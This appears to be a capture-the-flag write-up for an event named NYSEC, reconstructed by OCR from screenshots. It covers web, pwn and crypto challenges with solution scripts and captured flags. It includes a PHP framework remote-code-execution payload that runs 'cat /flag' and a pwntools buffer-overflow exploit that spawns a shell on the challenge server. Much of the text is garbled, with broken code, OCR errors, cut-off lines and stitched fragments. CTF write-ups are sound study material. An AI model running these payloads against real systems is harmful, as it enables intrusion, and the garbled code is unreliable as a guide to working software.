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<?php
error_reporting(0); highlight file(_FILE_); if
($_REQUEST["\x69\x64”] == base64_encode ("\150\x65\156\141\156"))) { goto Ilklsgyy;
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} echo getenv(”\107\132\103\124\106\137\106\114\101\107”) ; ~1lklsgyy:
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error_reporting(0); highlight_file(_FILE_); if (!
($_REQUEST["\x69\x64"] == base64_encode ("\150\x65\156\141\156"))) { goto lklsgyy; ) echo getenv("\107\132\103\124\106\137\106\114\101\107"); lklsgyy:
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LOAD ~ SPLIT EXECUTE TEST ~ XSS ~ LFI ~ SSRF ~

URL
http://nysec.ctf.center:37904/index.html?s=captcha

enctype

@@ Use POST method application/x-www-form-urlencoded

Body

HERERIESHT X HackBar

SSTI ~ SHELL ~ ENCODING ~ HASHING ~

MODIFY HEADER

Name

Upgrade-Insecure-Requests

_method=__construct&filter[]=system&method=get&server [REQUEST_METHOD]=1

s/
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Name

User-Agent

Name

Accept

CUSTOM ~ MODE ~

1

Value

Mozilla/5.0 (Windows NT 10.8; W. X

Value

text/html,application/xhtml+xml X
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URL

http://nysec.ctf.center:37904/index.html?s=captcha

enctype

@@ Use POST method application/x-www-form-urlencoded

Body

BB X HackBar

SSTI ~ SHELL ~ ENCODING ~ HASHING ~

MODIFY HEADER

Name

Upgrade-Insecure-Requests

_method=__construct&filter[]=system&method=get&server [ REQUEST_METHOD]=c

at /flag.txt

Name

User-Agent

Name

Accept

MODE ~

1

Value

Mozilla/5.8 (Windows NT 10.0; W: X

Value

text/html,application/xhtml+xml X
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var H1 = 0;

fun:tlon draw() { one = "\x3c\x64\x69\x76 \x63\x6c\x61\x73\x73\x3d\x22\x69\x74\x65\x6d\x22\x3e";

\x3c\x7@ \x69\x54\x3d\x22\x63\x5:\xES\xGB\xGb\X4E\X75\XGd\xSZ\xES\x72\xZZ\xSe\x43\x6c\x69\x63\be \x6e\x75\x6d\x62\x65\x72\x3a \x3@\x3c\x2f\x78\x3e";

\X3c\X70 \x69\x64\x3d\x22\x66\X6C\X61\X67\x22\x3e\X66\X6C\X61\X67 \X77\X69\X6C\X6C \X61\X7@\X7O\XE5\XE1\X72 \x77\XE8\x65\x6e \X79\XEF\X75 \x63\x6C\: b \x39\

four X3c\x2f\x64\x69\x76\x3e\x3c\x64\x69\x76 \x63\x6c\x61\x73\x73\x3d\x22\x69\x74\x65\x6d\x22\x3e\x3c\x69\x6d\x67 \x73\x72\x63\x3d\x22\x6a\x6e\x64\x78\x2e\x67\x69\x66\x22 \x6f\x6e\x63\x6c\x69\XxE
windon["\x64\X6F\X63\x75\x6d\X65\x6e\X74" ][ '\X67\X65\X74\x45\X6C\XE5 \X6\X65\x6e\X74\x42\x79\x49\x64" ] ("\X62\x6F") [ '\x69\x6e\x6e\x65\x72\x48\x54\xdd\xdc'] = one + two + three + four }

draw();

thr-ee

function clickkkkk() { var mZjYBFF2 = 1; var tbuE3 = 2; var nBmms4 =
window[ " \x64\x6F\x63\x75\x6d\x65\x6e\x74" ][ \x67\x65\x74\x45\x6c\x55\xGd\xs5\x6e\x74\x42\x79\x49\x64 1("\x66\x6¢\X61\x67") ;

e}

function g() { var fCdaXby5 = 1; var BFIkqé = fCdaXbys;
window[ " \X64\x6F\X63\X75\x6d\X65\x6e \X74" ] [ * \X67\X65\X74\x45\X6C\XE5 \x6d \X65\X6€ \x74\x42\X79\x49\X64" ] ("\X63\X6C\X69\X63\X6b") ;
)}

function c() { HL += 1;
window[ " \x64\x6F\x63\x75\x6d\x65\x6e\x74" ] [ * \X67\X65\x74\x45\x6¢\X65\x6d\X65\x6€\x74\x42\x79\x49\x64" ] ("\x63\X6¢\x69\x63\x6b\xde \x75\x6d\x62\x65\x72" ) [ ' \x69\x6e\x6e\x65\x72\xd8\x54\xdd\xdc" ] =
bOF7[ * \X6F\x62\x72\x65\x61\x64\x79\X73\x74\X61\X74\X65\x63\x68\x61\x6e\x67\x65'] = function() { if (bOF7['\x72\x65\x61\x64\x79\x53\X74\X61\X74\x65'] == 4 && boF7['\x73\x74\x61\x74\x75\x73"]
window[ " \x64\x6F\x63\x75\x6d\x65\x6e\x74" ] [ ' \x67\x65\x74\x45\x6\x65\x6d\x65\x6e \x74\x42\x79\x49\x64" ] (" \x66\X6c\x61\x67" ) [ \x69\x6e\x6e\x65\x72\x48\x54\xdd\xdc '] = text;
console[ ' \x6c\x6\x67" ] (text) } }
boF7[ ' \x6F\x70\x65\x6e '] ("\x47\x45\x54", jQs8, true);
boF7[ ' \x73\x65\x6e\x64'1() } else { window["\x64\x6F\x63\x75\x6d\x65\x6e\x74" ][ \x67\x65\x74\x45\x6\x65\x6\x65\x6e\x74\x42\x79\x49\x64" ] (' \X66\X6C\x61\x67 ") [ \x69\x6e\x6e\x65\x72\x48\x54\x4d\x

function clickEffect() { let balls = []; let longPressed = false; let longPress; let multiplier = @; let width, height; let origin; let normal; let ctx; const colours = ["\x23\x46\x37\x33\x38\x35\x39",
window["\x64\x6F\x63\x75\x6d\x65\x6e\x74" ] [ ' \x62\x6F\x64\x79" ][ '\X61\x78\x70\x65\x6e\x64\x43\x68\x69\x6¢\x64" ] (canvas) ;
canvas[ ' \x73\x65\x74\x41\X74\x74\Xx72\X69\x62\X75\x74\x65 ' 1("\X73\X74\X79\X6C\X65", "\X77\x69\x64\x74\x68\x32 \X31\x30\x30\x25\x3b \x68\x65\X69\x67\x68\x74\x3a \x31\x30\x36\x25\x3b \x74\x6F\x70\x32 \
pointer] ' \x63\x6C\X61\x73\x73\x4c\x69\x73\x74" ][ ' \X61\x64\x64" ] ("\X76\x6F\x69\x6e\x74\x65\x72") ;
window[ " \X64\x6F\x63\x75\x6d\x65\x6e\x74" ] [ ' \x62\x6F\x64\x79" ][ ' \X61\X78\X7@\X65\x6e\x64\x43\x68\x69\x6\x64" ] (pointer); if (canvas['\x67\X65\x74\x43\X6F\x6e\x74\x65\x78\x74" ] && window[ ' \X61\x64\XE

updatesize();
window[ " \X61\x64\X64\x45\x76\X65\x6€\x74\X4c\X69\X73\X74\X65\x6e\X65\x72" ] (* \X72\X65\X73\X69\x7a\x65" , updateSize, false);

loop();

window[ * \x61' X4C\X69\X XEEXE5\X72" ] ("\XGAKEF 75\ XT3\XE5\X6A\X6F\x77\xGe", function(t9) { pushBalls(randBetueen(16, 20), t9['\X63\X6C\XE9\X65\X6e\X74\X58"

window[" \st\xsf\st\xH\xéd\sz\xse\x74“][ \X62\X6F\x64\x79" ][ ' \X63\X6¢\X61\X73\X73\X4C\X69\X73\x74" ][ ' \X61\x64\x64" ] (" \X69\x73\x2d\X70\x72\x65\x73\x73\x65\x64" ) ;
longPress = setTimeout(function() { window["\x64\x6F\x63\x75\x6d\x65\x6e\x74" ][ ' \x62\x6F\x64\x79" ][ ' \X63\X6¢\X61\X73\X73\x4c\x69\x73\x74" ][ ' \X61\x64\x64" ] ("\X69\x73\x2d \x6C\X6F\x6€\X67\X7@\x
longPressed = true }, 500) }, false);
window[ ' \x61\x64 76 X4c\X69\x \x6e\x65\x72" ] (" \x6d\x6F\x75\x73\x65\x75\x78", function(iSsrAP10) { clearInterval(longPress); if (longPressed ) { window["\x64\
pushBalls(randBetween(50 + window["\xdd\x61\x74\x68" ][ ' \x63\x65\x69\x6¢ '] (multiplier), 106 + window["\x4d\x61\x74\x68" ][ ' \x63\x65\x69\x6¢ ' ] (multiplier)), iSsrAP1O[" \x53\x6c\x59\x65\x5e\x
longPressed = false
window[ " \x64\x6F\x63\x75\x6d\x65\x6e\x74" ] [ ' \x62\x6F\x64\x79" ] [ ' \x63\x6C\x61\x73\x73\x4c\x69\x73\x74" ][ \x72\x65\x6d\x6F\x76\x65 " ] (" \x69\x73\x2d\x76\x72\x65\x73\x73\x65\x64") }, false);
window[ ' \x61\x64\x64\x45\x76\x65\x6e\x74\x4c\x69\x73\x74\x65\x6e\x65\x72" ] (" \x6d\x6F\x75\x73\x65\x6d\x6F\x76\x65", function(Mell) { let x = Mell['\x63\x6c\x69\x65\x6e\x74\x58']; let y = Mell[ \x
pointer[ ' \x73\x74\x79\x6c\x65" ][ ' \x74\x6f\x76'] = y + "\x76\x78";
pointer[ ' \x73\x74\x79\x6c\x65" ][' \x6c\x65\x66\x74'] = x + "\x7@\x78" }, false) } else { console['\X6c\x6F\x67']("\x63\x61\x6e\x76\x61\x73 \X6F\x72 \X61\x64\x64\x45\X76\x65\x6e\X74\x4C\X69\X7

function updateSize() { canvas['\x77\x69\x64\x74\x68'] = window[ ' \x69\x6e\x6e\x65\x72\x57\x69\x64\x74\x68'] * 2;
canvas[ ' \x68\x65\x69\x67\x68\x74"] = window[ ' \X69\x6e\x6e\X65\x72\x48\x65\x69\X67\x68\x74' ] * 2;
canvas[’ \x73\x74\x79\x6c\x65" ] [ ' \x77\x69\x64\x74\x68" ] = window[ '\x69\x6e\x6e\x65\x72\x57\X69\x64\Xx74\x68" ] + '\x7@\x78";
canvas[ " \x73\x74\x79\x6c\x65" ] [ ' \x68\x65\x69\x67\x68\x74" ] = window[ ' \X69\x6e\X6€\X65\x72\X48\X65\X69\X67\X68\X74"] + '\X7@\X78";
ctx[ ' \X73\x63\x61\x6c\x65'1(2, 2);
width = (canvas['\x77\x69\x64\x74\x68"] = window[ ' \X69\x6e\X6e\X65\x72\X57\x69\x64\x74\x68" 1) ;

height = (canvas[*\x68\x65\x69\x67\x68\x74"] = window[ '\x69\x6e\x6e\x65\x72\x48\X65\X69\X67\x68\x74" 1) ;

origin = { x: width / 2, y: height / 2 };

normal = { x: width / 2. v: heieht / 2 } } v
>
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// Copyright (c) 2014 The Chromium Authors. A1l rights reserved.

// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.

// extract from chromium source code by @liuwayong

(functmn 04

"\X61\X6€\X65\X72\X74\x28\X63\X61\x6e\X76\X61\X73\X73\x76\x29\x3b" ;

* T-Rex runner.

* @param {string} outerContainerId Outer containing element id.
* @param {Object} opt_config

* @constructor

* @expor‘t

var canvassy
function Runner(outerccntamerld opt_config) {
// singleton
if (Runner.instance_) {
return Runner.instance_;

Runner.instance_ = this;

this.outerContainerEl = document.querySelector(outerContainerId);
this.containerEl = null;

this.snackbarEl = null;

this.detailsButton = this.outerContainerEl.querySelector (" #details-button');
this.config = opt_config || Runner.config;

this.dimensions = Runner.defaultDimensions;

this.canvas = null;
this.canvasCtx = null;

this.tRex = null;

this.distanceMeter = null;
this.distanceRan = @;
this.highestScore = ©;

this.time = ;

this. runningTime = @;

this.msPerFrame = 1600 / FPS;
this.currentSpeed = this.config.SPEED;

this.obstacles =

I

this.activated = false; // Whether the easter egg has been activated.
this.playing = false; // Whether the game is currently in play state.
this.crashed ;

this.paused
this.inverted = false;

BREATE, Mk

switch (setting) {
case "GRAVITY':
case 'MIN_JUMP_HEIGHT':
case 'SPEED_DROP_COEFFICIENT':
this.tRex.config[setting] = value;

reak;
case 'INITIAL_JUMP_VELOCITY':
this. tRex. setJumpVelocity(value);
break;
case 'SPEED':
this. setSpeed(value);
break;

A

Jxx
* Cache the appropriate image sprite from the page and get the sprite sheet
* definition.

loadImages: function () {
canvassv = canvassv + *(EEIRYRI "5
if (IS_HIDPI) {
Runner. imageSprite = document.getElementById('offline-resources-2x');
this.spriteDef = Runner.spriteDefinition.HDPT;
} else {
Runner. imageSprite = document.getElementById('offline-resources-1x');
this.spriteDef = Runner.spriteDefinition.LDPI;

}

if (Runner.imageSprite.complete) {
this.init();
} else {
// If the images are not yet loaded, add a listener.
Runner. imageSprite. addEventListener(Runner.events.LOAD,
this.init.bind(this));

3.
Jx
* Load and decode base 64 encoded sounds.
*/

loadsounds: function () {
if (11S_10S) {
this.audioContext = new AudioContext();

var resourceTemplate
document. getElementById(thls config. RESOURCE_TEMPLATE_ID) . content;

for (var sound in Runner.sounds) {
var soundsr
r‘esourceTemplate,getElementById(Runner.sounds[sound])4sr*:;
soundsrc = soundSrc. substr(soundSrc. index0f(*,") + 1);
var buffer = decodeBase64ToArrayBuffer(soundsrc);



af://n25

Jex
* @param {number) opt_speed
*/

setSpeed: function (opt_speed) {
var speed = opt_speed || this.currentSpeed;

// Reduce the speed on smaller mobile screens.
if (this.dimensions.WIDTH < DEFAULT_WIDTH) {
var mobileSpeed =
this. config.MOBILE_SPEED_COEFFICIENT;
this.currentSpeed = mobileSpeed > speed ? speed
} else if (opt_speed) {
this.currentSpeed = opt_speed;

1.

/e
* Game initialiser.
*

/
init: function () {

// Hide the static icon.

document . quer‘yselectar(

*hidd

canvassv = canvassv + "[Qa{TOIEEEIRITN";
this.adjustDimensions();
this. setSpeed();

this.containerEl = document.createElement('div');
this.containerEl.className = Runner.classes.CONTAINER;

// Player canvas container.

* Sets the game speed. Adjust the speed accordingly if on a smaller screen.

speed * this.dimensions.WIDTH / DEFAULT_WIDTH *

: mobilespeed;

*.' + Runner.classes.ICON).style.visibility =

this.canvas = createCanvas(this.containerEl, this.dimensions.WIDTH,

this.dimensions.HEIGHT, Runner.classes.PLAYER)

this.canvasCtx = this.canvas. getcuntext( 2d');
this.canvasCtx.fillStyle = '#f7f7f7'
this. canvasCtx.fill();
Runner.updateCanvasScaling(this.canvas);

// Horizon contains clouds, obstacles and the ground.

this.horizon = new Horizon(this.canvas, this.spriteDef, this.dimensions,

this. config.GAP_COEFFICIENT);

// Distance meter
this.distancelleter = new DistanceMeter(this.canvas,
this.spriteDef . TEXT_SPRITE, this.dimensions.WIDTH);

// Draw t-rex
this.tRex = new Trex(this.canvas, this.spriteDef.TREX);

Omzese O xsxnso [ omesgso [ eEmew 540 38289 M

canvassy | A v
Ve
* Debounce the resize event.
x
debounceResize: function () {
if (Ithis.resizeTimerId ) {
this.resizeTimerId_ =
setInterval(this.adjustDimensions.bind(this), 25@);
}
b
* Adjust game space dimensions on resize.
adjustDimensions: function () {
clearInterval (this.resizeTimerId_);
this.resizeTimerId_ = null;
var boxStyles = window.getComputedStyle(this.outerContainerEl);
var padding = Number (boxstyles.paddinglLeft. substr(e.
boxstyles.paddingleft.length - 2));
this.dimensions.WIDTH = this.outerContainerEl.offsetWidth - padding *
this.dimensions.WIDTH Math.min(DEFAULT_WIDTH, this.dimensions. IMIDTH), //Arcade Mode
if (this.activated) {
this.setArcadeModeContainerScale();
}
canvassv = canvassv + "[[BCSNGILIS "5
// Redraw the elements back onto the canvas.
if (this.canvas) {
i idth = this.dimensions.WIDTH;
this.canvas.height = this.dimensions.HEIGHT;
Runner.updateCanvasScaling(this.canvas);
this.distanceMeter.calcXPos(this.dimensions.WIDTH);
this.clearCanvas();
this.horizon. update(ﬂ, 0, true);
this.tRex.update(®);
// Outer container and distance meter
if (this.playing || this.crashed || this.paused) {
this.containerEl.style.width = this.dimensions.WIDTH + 'px';
this.containerEl.style.height = this.dimensions.HEIGHT + 'px';
this.distanceMeter.update(®, Math.ceil(this.distanceRan));
this.stop();
} else
this.tRex.draw(e, ©);
// Game over panel.
if (this.crashed && this.gameOverPanel) {
thi Panel i i this WIDTH);
this.gameOverPanel.draw();
canvassv | ~ v Os=2me 0 xsxns0 [ rkssge) [ LE0Rw 5618, #8589 MR
start: 60
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From Base64

Alphabet
A-Za-z0-9+/=

Remove non-alphabet chars [ strict mode

jj  ZmxhZ3syNzhjYjFkZCOINDIyLTQYNTUEYQIMS@30TNAY IR LMGEXYTBOCE:

start: 45 time: 1ms
Output end: 45 length: 43
length: ©  lines: 2

flag{238cbldd-5422-4255-ad51-793abde@alad}

B0 ®
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Dymesss @ FEbE D uEmE O surah
F{dFEIINYSEC{90632063-f6ff-4e75-af01-ba745¢2d05b7}

Pwn

hetcat
EiZEncgigshell

C:\Users\jyzho\nc>nc nysec.ctf.center 35103
s

bin

dev

flag

lib

1ib32
libéd

netcat
cat /flag
flag{97fb9f1b-dUed-U9da-9bca-f8d176f867fU[TEAM_HASH]}

stack oooooooverflow!!!

Tors, 32

! Exeinfo PE - ver.0.0.8.0 by ASL- 1172+162 sign 2023.06.21 —

File : 'pwn J'n
Entry Point : (08048370 | [oo] | < | EPSection: [7/31
File Offset: [2 | FirstBytes : |7F.45.4C.46.01/
Linker Info : SubSystem : |3
FleSize: [opo01D30h | </ | %T| Overay: [2
Diagnose:

NOT Win EXE - .0 -ELF [ 32bit obj. Exe file - CPU : Intel 80386 - OS/ABL: ur| | Scan /t
Lamer Info - Help Hint -Unpackinfo ) =
[~> Compiler : GCC: (Ubuntu 5.4.0-6ubuntu1~16.04.12) 5.4.0 20160609 | & &

MvulnerableFRERILIEY, FEEROKEH
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8 IDA - pwn C:\Users\jyzho\Desktop\pwn -
File Edit Jump Search View Debugger Lumina Options Windows Help

HH evev GG & ) Av @O o P v#w X > OONo debugger V] @
3 I | N L 7l I
Library function [l Regular function [l Instruction [l Data [l Unexplored [l External symbol Ml Lumina function
Functions 08x @ IDA View-A © @  PseudocodeA @ @ Hex View-1 8 @ Structures e Enums B & Inports e @ Exports 8
Function name %‘?t vulnerable()
@ _init. : ,
s\:&ﬁg;n 3| char s[20]; // [esp+4h] [ebp-14h] BYREF
[ _gets 4
7 _puts 5| puts(:is);
“systen 6 gets(s);
libc_start_main 7| return puts(s);
enon_start, sl
start
__x86_get_pe_thunk_bx
deregister_tn_clones
register_tm_clones
__do_global_dtors_aux
Erame_dummy
fune
valnerable
main
__libe_esu_init
libe_csu_fini
term_proc
gets
puts
system
__libe_start_main
Zimp__guon_start__
< >
Line 16 of 24
A Graph overview o8 x
00000488 vulnerable:1 (8048488)
Output 08 x
~
Python 3.11.7 (tags/v3.11.7:fa7a6f2, Dec 4 2023, 19:24:49) [MSC v.1937 64 bit (AMD64)]
IDAPython v7.4. final (serial @) (c) The IDAPython Team <idapython@googlegroups.com>
Propagating type information.
Function argument information has been propagated
The initial autoanalysis has been finished.
8048488: using guessed type int vulnerable(void); v

Python

AU: idle Down Disk: 149GB

funcERZuR[E|shell

S8 IDA - pwn C:\Users\jyzho\Desktop\pwn -
File Edit Jump Search View Debugger Lumina Options Windows Help
BH evey 4% 4 3 Av DO Faf . Fv#w X > 0ONo debugger

Library function Il Regular function [l Instruction M Data [l Unexplored Il External symbol [l Lumina function

&= Imports a Exports a

[A Functions o8 x @ IDA View-A @ @  PseudocodeA B @ Hex View-1 B @ Structures 8 @ Enums
1[inE func()
2

Function name

t " bin/sh"
;].::sﬁzg?n 3| system("/bin/sh");
4 return @;

SRS

puts 5}
system
___libe_start_main
omon_start_
Tetare
__x86_get_pc_thunk_bx
deregister_tm_clones
register_tm_clones
__do_global_dtors_aux
frame_dummy

func
vulnerable

__libe_csu_init
__libe_csu_fini

system
__libc_start_main
_imp__gnon_start__

EISE

<
Line 14 of 24
& Graph overview 08 x

00000468 func:1 (8048468)
= Output 08 x

Python 3.11.7 (tags/v3.11.7:fa7a6f2, Dec 4 2023, 19:24:49) [MSC v.1937 64 bit (AMD64)]
IDAPython v7.4.8 final (serial @) (c) The IDAPython Team <idapython@googlegroups.com>

Propagating type information. .

Function argument information has been propagated

The initial autoanalysis has been finished

8648488: using guessed type int vulnerable(void); v

Python
AU: idle Down Disk: 149GB

exp:

from pwn import *

def exp(io):
payload=b'A"'*(0x14+0x4)+p32(0x804846B)
io.sendline(payload)
jo.sendline(b'1s")

io = remote('nysec.ctf.center',35107)

exp(io)

io.interactive()



[+] Opening connection to nysec.ctf.center on port 35107

[<] Opening connection to nysec.ctf.center on port 35107: Trying 27.25.151.207
[+] Opening connection to nysec.ctf.center on port 35107: Done

[#] Switching to interactive mode

1s

bin

dev

flag

lib

1ib32

libé6d

pwn
cat /flag
flagf{ecaflb92-f80c-U5alU-85el-0baea2f87155[ TEAM_HASH]}

from Crypto.Util.number import *
import gmpy2
m=bytes_to_long(b'NYSEC{....... I3D)
e=65537

p=getPrime(512)

g=getPrime(512)

n=p*q

not_phi=(p+3)*(q+3)

c=pow(m,e,n)

print(n)
print(not_phi)
print(c)

97003850850040952844587475437460149663654189201387855024040346139584151510739356
07436912147018432559235634553371942503473208798576885537810384659957192081960700
46956445912310340285858723507318196416205309925620206483379838774208618173864700
51601404728847162770341340709409331924083906577836343671751461800641

97003850850040952844587475437460149663654189201387855024040346139584151510739356
07436912147018432559235634553371942503473208798576885537810384659957192087977766
35936798592387888007139212077652844506101971290706158003060338980760585991561624
95376307988618628754841062502962329450466110589828082689175911189124

31648100885161830950110219017754314322263944256316235264449880700096434928815116
22064113591614717339157211515884106949130044665477780550740597145725592803087059
60260575677020347177812707293673099894236955052831856741320495307067999485579727
28933012591037486370001542782395573887256404792664989124714420821017

PR NERNEFEE, Biiptq. p-ggtAlLiSElp. 9T


af://n58
af://n59

from gmpy2 import *

from Crypto.Util.number import *

e=65537
n=970038508500409528445874754374601496636541892013878550240403461395841515107393
56074369121470184325592356345533719425034732087985768855378103846599571920819607
00469564459123103402858587235073181964162053099256202064833798387742086181738647
0051601404728847162770341340709409331924083906577836343671751461800641
not_phi=970038508500409528445874754374601496636541892013878550240403461395841515
10739356074369121470184325592356345533719425034732087985768855378103846599571920
87977766359367985923878880071392120776528445061019712907061580030603389807605859
9156162495376307988618628754841062502962329450466110589828082689175911189124
c=316481008851618309501102190177543143222639442563162352644498807000964349288151
16220641135916147173391572115158841069491300446654777805507405971457255928030870
59602605756770203471778127072936730998942369550528318567413204953070679994855797
2728933012591037486370001542782395573887256404792664989124714420821017
p_g=(not_phi-n-9)//3

p=Ciroot(p_q**2-4*n,2) [0]+p_q)//2

a=n//p

phi=(p-1)*(q-1)

d=invert(e,phi)

m=pow(c,d,n)

print(long_to_bytes(m))

b'NYSEC{thls_is_fake fl4ggg}"

AEC
=]

from Crypto.Util.number import *
from Crypto.Cipher import AES

from Crypto.Util.Padding import pad
import random

# flag=b'NYSEC{............ 3!

key=random. randbytes (16)
print(bytes_to_long(key))

my_aes=AES.new(key=key,mode=AES.MODE_ECB)
print(my_aes.encrypt(pad(flag,AES.block_size)))

# keyl = 225381140741632087104849078818563775592

#C =

b '\xb2\xd1lu\xa5\xa6\x9b\xf3\x16\xla\x0e/\xe3\xc2\x13e\xf70\x89 \x19&\x17\x83\x8c
A\Xx95\x8b\xTc\xb69Q\x01\x05 (6) \xba\xb3\x02=\t\x10w\xb2w\xd0\x9e\xa5\xf4"'

key&ReRTY , EERMEAMIT, | |
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*

from Crypto.Util.number import
from Crypto.Cipher import AES
keyl = 225381140741632087104849078818563775592

C =
b'\xb2\xd1u\xa5\xa6\x9b\xf3\x16\x1la\x0e/\xe3\xc2\x13e\xf70\x89 \x19&\x17\x83\x8c
A\x95\x8b\xfc\xb69Q\x01\x05 (6) \xba\xb3\x02=\t\x10w\xb2w\xd0\x9e\xa5\xf4'
key=Tong_to_bytes(keyl)

my_aes=AES.new(key=key,mode=AES.MODE_ECB)

print(my_aes.decrypt(c))

l+.image-20241005233011727

babyRSA

AH

from Crypto.Util.number import *

flag=b'NYSEC{...... !
m=bytes_to_long(flag)

n=getPrime(1024)
n=p*q

e=65537
c=pow(m,e,n)

print("n =",n)

print("e =",e)

print("c =",c)

#n =
11563752613433167947176203600965087809819279478091901640799230700628517370781531
37518162406766240745035223310697388962940297194060440310804347258632442302894424
72213042373881987359484483724993562124890872771331854637024940624934390825956979
717868136123264909166944848643274757372810254880211270034431901369477

# e = 65537

# cC =
72569468275842451722615052490613164720057228162294356630723330346528174565283712
55117461096640532305352455299635866453206101017392896685802770749983948174445937
95262973164231033020518188740237239311457655175438757692022937371866687333707887
63540574136428757287404743954896068847733217295406897120557585899498

WRHSE, ERHAN
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*

from Crypto.Util.number import
import gmpy2

n =
11563752613433167947176203600965087809819279478091901640799230700628517370781531
37518162406766240745035223310697388962940297194060440310804347258632442302894424
72213042373881987359484483724993562124890872771331854637024940624934390825956979
717868136123264909166944848643274757372810254880211270034431901369477

e = 65537

Cc =
72569468275842451722615052490613164720057228162294356630723330346528174565283712
55117461096640532305352455299635866453206101017392896685802770749983948174445937
95262973164231033020518188740237239311457655175438757692022937371866687333707887
63540574136428757287404743954896068847733217295406897120557585899498

phi=n-1

d=gmpy2.invert(e,phi)

print(long_to_bytes(pow(c,d,n)))

b*NYSEC{nishiyigebijiaoniubideren}’

Signin
il

*

from Crypto.Util.number import

# flag is directly defined
flag = "NYSEC{.c ¢ o o o 0 0 0 ¢ 0 0 o o o o "

# Convert the flag to a long integer
m = bytes_to_Tlong(flag.encode())

# Generate two 1024-bit prime numbers
getPrime(1024)
getPrime(1024)

o ©
]

# Compute n (RSA modulus)
n=p%*q

# Public exponent
e = 65537

# Encrypt the message (RSA encryption)
c = pow(m, e, n)

# calculate pqg, gp, p_q

pg = (p - 1) * (g - 2)
agp = (g - 1) * (p - 2)
p_q =p + ¢

# Print results
print(f"{c = }")
print(f"{pq = }")
print(f"{qp = }")
print(f"{n = }")
print(f"{p_q = }')


af://n77

#

# c =
93548173711965180392115563871894186266680062327787257947264596190369833840914848
49578705611027051961202363404718374393072843878964304849659834532225469835035577
54856992096703468740283713943508560863175752542319149417588682513607097101742337
25305712405766890876735296393783675005639631808832895168757803865357523510993186
42523818786125699989066352176247210563994552639431957445901520462750473966988991
55903281231930273230274784547155534057356609603826457636484427527714033304211154
82196644646341613384163013898558288068751596797226072575683827691007642450423345
26384307649875933569519712436217001201516155862300947700

# pq =
24946432348938097939196508727790827082976347060880639598535659267886474506009762
20478414384230212458148443179835918877315838099898445872985441775229387527168039
39392027538768306013499667746135520899670985185218223286783299058759363555523890
00639029248613925828494592875365635680109834434490890905784160913842969327389795
24169148297226885276227320319028836425237108311559649237938652312237284558127610
98396030376534985909529335960937479384093186908052287670924586575476737088113954
79825875518050672792773011496083787489610112439137447110174496040399125111335389
254541022901426780309682394083107058822610890862007334592

# qp =
24946432348938097939196508727790827082976347060880639598535659267886474506009762
20478414384230212458148443179835918877315838099898445872985441775229387527168039
39392027538768306013499667746135520899670985185218223286783299058759363555523890
00639029248613925828494592875365635680109834434490890905784160913842960344774624
32091211466363490356630919437494577801609554860188118648167591201992453132022896
17573331614997558898610902646024799081488046044538666004896924996118419759053611
88332309356264798658680524499906118805826954645835127235670253920427262503321872
920986803325284982666937304127376417686661026268222030302

# n =
24946432348938097939196508727790827082976347060880639598535659267886474506009762
20478414384230212458148443179835918877315838099898445872985441775229387527168039
39392027538768306013499667746135520899670985185218223286783299058759363555523890
00639029248613925828494592875365635680109834434490890905784160913843438860804914
08056330126655318937138658769975515625275061465022623853611969900743512760464367
15950979016709499372028101788940572127802380731668511678584002042465148435718852
78570343304917350120320635194598172326269393393938317844444353508492538609537289
131367077587061172790922984699445728703726197697701193699

# p_q =
31601648180286617433496573420747139692594475872341234486586099159940372565429085
76261025940905310865347295484645305321656972955263341176170248689893782164171111
71334142337962994167245173076263062578131068812785700573234301353781014652352052
896534805772029068776315803527535075423729469326966060159421724340836

XEERICREmoectfYRIMIIR T, , , BFFEIRN, | |

from Crypto.Util.number import long_to_bytes
import gmpy?2



C =
93548173711965180392115563871894186266680062327787257947264596190369833840914848
49578705611027051961202363404718374393072843878964304849659834532225469835035577
54856992096703468740283713943508560863175752542319149417588682513607097101742337
25305712405766890876735296393783675005639631808832895168757803865357523510993186
42523818786125699989066352176247210563994552639431957445901520462750473966988991
55903281231930273230274784547155534057356609603826457636484427527714033304211154
82196644646341613384163013898558288068751596797226072575683827691007642450423345
26384307649875933569519712436217001201516155862300947700

pq =
24946432348938097939196508727790827082976347060880639598535659267886474506009762
20478414384230212458148443179835918877315838099898445872985441775229387527168039
39392027538768306013499667746135520899670985185218223286783299058759363555523890
00639029248613925828494592875365635680109834434490890905784160913842969327389795
24169148297226885276227320319028836425237108311559649237938652312237284558127610
98396030376534985909529335960937479384093186908052287670924586575476737088113954
79825875518050672792773011496083787489610112439137447110174496040399125111335389
254541022901426780309682394083107058822610890862007334592

ap =
24946432348938097939196508727790827082976347060880639598535659267886474506009762
20478414384230212458148443179835918877315838099898445872985441775229387527168039
39392027538768306013499667746135520899670985185218223286783299058759363555523890
00639029248613925828494592875365635680109834434490890905784160913842960344774624
32091211466363490356630919437494577801609554860188118648167591201992453132022896
17573331614997558898610902646024799081488046044538666004896924996118419759053611
88332309356264798658680524499906118805826954645835127235670253920427262503321872
920986803325284982666937304127376417686661026268222030302

n =
24946432348938097939196508727790827082976347060880639598535659267886474506009762
20478414384230212458148443179835918877315838099898445872985441775229387527168039
39392027538768306013499667746135520899670985185218223286783299058759363555523890
00639029248613925828494592875365635680109834434490890905784160913843438860804914
08056330126655318937138658769975515625275061465022623853611969900743512760464367
15950979016709499372028101788940572127802380731668511678584002042465148435718852
78570343304917350120320635194598172326269393393938317844444353508492538609537289
131367077587061172790922984699445728703726197697701193699

pb—q =
31601648180286617433496573420747139692594475872341234486586099159940372565429085
76261025940905310865347295484645305321656972955263341176170248689893782164171111
71334142337962994167245173076263062578131068812785700573234301353781014652352052
896534805772029068776315803527535075423729469326966060159421724340836

e=65537

P—a=pg+qp+3*p_q-4

p=(gmpy2.iroot(p_q**2-2*p__q,2) [0]+p_a)//2

a=n//p

phi=(p-1)*(q-1)

d=gmpy?2.invert(e,phi)

m=pow(c,d,n)

print(long_to_bytes(m))

Eahnage-20241005231742702



from sympy import Mod, Integer
from sympy.core.numbers import mod_inverse

# BEL

N_HEX = "FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFF7203DF6B21C6052B53BBF40939D54123"
MODULUS = Integer(int(N_HEX, 16))

MSG_PREFIX = "CryptoCup message:"

# N R
def encrypt_message(message, key):
I
message_with_prefix = MSG_PREFIX + message
message_bytes = message_with_prefix.encode('utf-8")
message_len = len(message_bytes)
num_blocks = (message_len + 15) // 16
blocks = [message_bytes[i * 16:(i + 1) * 16] for i in range(num_bTlocks)]

# HATOIH A
blocks[-1] = blocks[-1].1just(16, b'\x00")

encrypted_blocks = []
k = key

# IEEA A

for block in blocks:
block_int = int.from_bytes(block, byteorder="big"')
